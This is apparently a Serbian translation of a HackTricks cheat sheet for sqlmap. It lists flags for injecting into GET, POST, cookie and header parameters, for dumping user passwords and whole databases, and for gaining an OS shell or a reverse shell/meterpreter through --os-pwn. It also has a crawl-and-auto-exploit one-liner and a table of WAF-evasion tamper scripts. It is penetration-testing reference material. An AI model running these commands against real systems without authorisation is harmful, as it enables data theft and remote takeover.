12 KiB

SQLMap

{{#include ../../banners/hacktricks-training.md}}

Osnovni argumenti za SQLmap

Opšti

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Technique flags (--technique)

Argument --technique definiše koje SQL injection metode će sqlmap pokušati. Svaki karakter u stringu predstavlja tehniku:

Letter Technique Description
B Boolean-based blind Koristi true/false uslove za inferenciju podataka
E Error-based Iskorišćava detaljne DBMS poruke greške za exfiltraciju rezultata
U UNION query Umeće UNION SELECT izjave da bi dobio podatke putem istog kanala
S Stacked queries Dodaje dodatne izjave odvojene sa ;
T Time-based blind Oslanja se na kašnjenja (SLEEP, WAITFOR) da bi detektovao injekciju
Q Inline / out-of-band Koristi funkcije kao što su LOAD_FILE() ili OOB kanale poput DNS

Podrazumevani redosled je BEUSTQ. Možete ih preurediti ili ograničiti, npr. samo Boolean i Time-based u tom redosledu:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Preuzimanje informacija

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB podaci

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Mesto injekcije

Iz Burp/ZAP hvatanja

Uhvatite zahtev i kreirajte req.txt datoteku

sqlmap -r req.txt --current-user

GET Request Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Injekcije u zaglavljima i drugim HTTP metodama

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Drugi red injekcija

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Crawling a website with SQLmap and auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Prilagođavanje Injekcije

Postavi sufiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoć u pronalaženju boolean injekcije

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Description
apostrophemask.py Zamenjuje karakter apostrofa sa njegovim punim UTF-8 ekvivalentom
apostrophenullencode.py Zamenjuje karakter apostrofa sa njegovim ilegalnim dvostrukim unicode ekvivalentom
appendnullbyte.py Dodaje kodirani NULL bajt na kraj payload-a
base64encode.py Base64 kodira sve karaktere u datom payload-u
between.py Zamenjuje operator veći od '&gt;' sa 'NOT BETWEEN 0 AND #'
bluecoat.py Zamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom
chardoubleencode.py Dvostruko url-kodira sve karaktere u datom payload-u ne obrađuje već kodirane
commalesslimit.py Zamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M'
commalessmid.py Zamenjuje instance poput 'MID(A, B, C)' sa 'MID(A FROM B FOR C)'
concat2concatws.py Zamenjuje instance poput 'CONCAT(A, B)' sa 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Url-kodira sve karaktere u datom payload-u ne obrađuje već kodirane
charunicodeencode.py Unicode-url-kodira ne-kodirane karaktere u datom payload-u ne obrađuje već kodirane. "%u0022"
charunicodeescape.py Unicode-url-kodira ne-kodirane karaktere u datom payload-u ne obrađuje već kodirane. "\u0022"
equaltolike.py Zamenjuje sve pojave operatora jednakosti '=' sa operatorom 'LIKE'
escapequotes.py Slash escape za navodnike ' i "
greatest.py Zamenjuje operator veći od '&gt;' sa 'GREATEST' ekvivalentom
halfversionedmorekeywords.py Dodaje verzionirani MySQL komentar pre svake ključne reči
ifnull2ifisnull.py Zamenjuje instance poput 'IFNULL(A, B)' sa 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Obavija kompletnu upit sa verzioniranim komentarom
modsecurityzeroversioned.py Obavija kompletnu upit sa komentarom bez verzije
multiplespaces.py Dodaje više razmaka oko SQL ključnih reči
nonrecursivereplacement.py Zamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu (npr. .replace("SELECT", "")) filteri
percentage.py Dodaje znak procenta '%' ispred svakog karaktera
overlongutf8.py Konvertuje sve karaktere u datom payload-u ne obrađuje već kodirane
randomcase.py Zamenjuje svaki karakter ključne reči sa nasumičnom vrednošću slučajnosti
randomcomments.py Dodaje nasumične komentare SQL ključnim rečima
securesphere.py Dodaje posebno oblikovanu string
sp_password.py Dodaje 'sp_password' na kraj payload-a za automatsku obfuscaciju iz DBMS logova
space2comment.py Zamenjuje karakter razmaka ' ' sa komentarima
space2dash.py Zamenjuje karakter razmaka ' ' sa komentarom u obliku crte '--' praćenim nasumičnim stringom i novim redom '\n'
space2hash.py Zamenjuje karakter razmaka ' ' sa karakterom za broj '\#' praćenim nasumičnim stringom i novim redom '\n'
space2morehash.py Zamenjuje karakter razmaka ' ' sa karakterom za broj '\#' praćenim nasumičnim stringom i novim redom '\n'
space2mssqlblank.py Zamenjuje karakter razmaka ' ' sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera
space2mssqlhash.py Zamenjuje karakter razmaka ' ' sa karakterom za broj '\#' praćenim novim redom '\n'
space2mysqlblank.py Zamenjuje karakter razmaka ' ' sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera
space2mysqldash.py Zamenjuje karakter razmaka ' ' sa komentarom u obliku crte '--' praćenim novim redom '\n'
space2plus.py Zamenjuje karakter razmaka ' ' sa plusom '+'
space2randomblank.py Zamenjuje karakter razmaka ' ' sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera
symboliclogical.py Zamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima (&& i
unionalltounion.py Zamenjuje UNION ALL SELECT sa UNION SELECT
unmagicquotes.py Zamenjuje karakter navodnika ' sa multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju da bi radilo
uppercase.py Zamenjuje svaki karakter ključne reči sa velikim slovom 'INSERT'
varnish.py Dodaje HTTP zaglavlje 'X-originating-IP'
versionedkeywords.py Obavija svaku ne-funkcionalnu ključnu reč sa verzioniranim MySQL komentarom
versionedmorekeywords.py Obavija svaku ključnu reč sa verzioniranim MySQL komentarom
xforwardedfor.py Dodaje lažno HTTP zaglavlje 'X-Forwarded-For'

References

{{#include ../../banners/hacktricks-training.md}}